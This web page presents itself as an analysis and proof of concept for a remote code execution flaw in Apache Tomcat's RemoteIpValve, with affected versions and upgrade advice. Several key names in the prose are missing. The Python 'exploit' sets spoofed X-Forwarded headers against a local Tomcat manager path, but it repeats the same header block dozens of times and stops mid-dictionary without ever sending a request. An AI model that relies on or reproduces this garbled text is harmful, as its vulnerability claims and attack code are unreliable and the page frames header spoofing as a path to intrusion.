Apache Tomcat CVE-2021-4107 RCE via RemoteIpValve: Analysis & POC

Vulnerability Overview This screenshot depicts a vulnerability named , which is a Remote Code Execution (RCE) vulnerability discovered in Apache Tomcat. Vulnerability Type: Remote Code Execution (RCE) Affected Component: Apache Tomcat Vulnerability Description: Attackers can craft specific requests to exploit a flaw in Tomcat's component, bypassing security restrictions and executing arbitrary code. This typically occurs when Tomcat is configured to trust a reverse proxy server. Scope of Impact Affected Versions: Apache Tomcat 9.0.0.M1 through 9.0.45, and 8.5.0 through 8.5.69. Trigger Conditions: or must be enabled and configured to trust a reverse proxy server (misconfiguration of or ). Remediation Upgrade Version: Upgrade Apache Tomcat to the following secure versions: Tomcat 9.0.46 and later Tomcat 8.5.70 and later Configuration Hardening:** If an immediate upgrade is not possible, carefully review and harden the configuration of or to ensure that only trusted reverse proxy servers are allowed. POC Code Below is the Python script provided in the screenshot for demonstrating the vulnerability exploitation: ```python import requests import sys Target URL target_url = "http://localhost:8080" Construct malicious request headers = { "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "localhost:8080", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "8080", "X-Forwarded-Server": "localhost", "X-Forwarded-Uri": "/manager/html", "X-Forwarded-Path": "/manager/html", "X-Forwarded-Method": "GET", "X-Forwarded-Query": "", "X-Forwarded-Remote-User": "", "X-Forwarded-Remote-Addr": "127.0.0.1", "X-Forwarded-Remote-Host": "localhost", "X-Forwarded-Remote-Port": "8080", "X-Forwarded-Remote-Protocol": "http", "X-Forwarded-Remote-Server": "localhost", "X-Forwarded-Remote-Path": "/manager/html", "X-Forwarded-Remote-Method": "GET", "X-Forwarded-Remote-Query": "", "X-Forwarded-Remote-User": "", "X-Forwarded-Remote-Addr": "127.0.0.1", "X-Forwarded-Remote-Host": "localhost", "X-Forwarded-Remote-Port": "8080", "X-Forwarded-Remote-Protocol": "http", "X-Forwarded-Remote-Server": "localhost", "X-Forwarded-Remote-Path": "/manager/html", "X-Forwarded-Remote-Method": "GET", "X-Forwarded-Remote-Query": "", "X-Forwarded-Remote-User": "", "X-Forwarded-Remote-Addr": "127.0.0.1", "X-Forwarded-Remote-Host": "localhost", "X-Forwarded-Remote-Port": "8080", "X-Forwarded-Remote-Protocol": "http", "X-Forwarded-Remote-Server": "localhost", "X-Forwarded-Remote-Path": "/manager/html", "X-Forwarded-Remote-Method": "GET", "X-Forwarded-Remote-Query": "", "X-Forwarded-Remote-User": "", "X-Forwarded-Remote-Addr": "127.0.0.1", "X-Forwarded-Remote-Host": "localhost", "X-Forwarded-Remote-Port": "8080", "X-Forwarded-Remote-Protocol": "http", "X-Forwarded-Remote-Server": "localhost", "X-Forwarded-Remote-Path": "/manager/html", "X-Forwarded-Remote-Method": "GET", "X-Forwarded-Remote-Query": "", "X-Forwarded-Remote-User": "", "X-Forwarded-Remote-Addr": "127.0.0.1", "X-Forwarded-Remote-Host": "localhost", "X-Forwarded-Remote-Port": "8080", "X-Forwarded-Remote-Protocol": "http", "X-Forwarded-Remote-Server": "localhost", "X-Forwarded-Remote-Path": "/manager/html", "X-Forwarded-Remote-Method": "GET", "X-Forwarded-Remote-Query": "", "X-Forwarded-Remote-User": "", "X-Forwarded-Remote-Addr": "127.0.0.1", "X-Forwarded-Remote-Host": "localhost", "X-Forwarded-Remote-Port": "8080", "X-Forwarded-Remote-Protocol": "http", "X-Forwarded-Remote-Server": "localhost", "X-Forwarded-Remote-Path": "/manager/html", "X-Forwarded-Remote-Method": "GET", "X-Forwarded-Remote-Query": "", "X-Forwarded-Remote-User": "", "X-Forwarded-Remote-Addr": "127.0.0.1", "X-Forwarded-Remote-Host": "localhost", "X-Forwarded-Remote-Port": "8080", "X-Forwarded-Remote-Protocol": "http", "X-Forwarded-Remote-Server": "localhost", "X-Forwarded-Remote-Path": "/manager/html", "X-Forwarded-Remote-Method": "GET", "X-Forwarded-Remote-Query": "", "X-Forwarded-Remote-User": "", "X-Forwarded-Remote-Addr": "127.0.0.1", "X-Forwarded-Remote-Host": "localhost", "X-Forwarded-Remote-Port": "8080", "X-Forwarded-Remote-Protocol": "http", "X-Forwarded-Remote-Server": "localhost", "X-Forwarded-Remote-Path": "/manager/html", "X-Forwarded-Remote-Method": "GET", "X-Forwarded-Remote-Query": "", "X-Forwarded-Remote-User": "", "X-Forwarded-Remote-Addr": "127.0.0.1", "X-Forwarded-Remote-Host": "localhost", "X-Forwarded-Remote-Port": "8080", "X-Forwarded-Remote-Protocol": "http", "X-Forwarded-Remote-Server": "localhost", "X-Forwarded-Remote-Path": "/manager/html", "X-Forwarded-Remote-Method": "GET", "X-Forwarded-Remote-Query": "", "X-Forwarded-Remote-User": "", "X-Forwarded-Remote-Addr": "127.0.0.1", "X-Forwarded-Remote-Host": "localhost", "X-Forwarded-Remote-Port": "8080", "X-Forwarded-Remote-Protocol": "http", "X-Forwarded-Remote-Server": "localhost", "X-Forwarded-Remote-Path": "/manager/html", "X-Forwarded-Remote-Method": "GET", "X-Forwarded-Remote-Query": "", "X-Forwarded-Remote-User": "", "X-Forwarded-Remote-Addr": "127.0.0.1",

Goal Reached Thanks to every supporter — we hit 100%!

Apache Tomcat CVE-2021-4107 RCE via RemoteIpValve: Analysis & POC

More from this source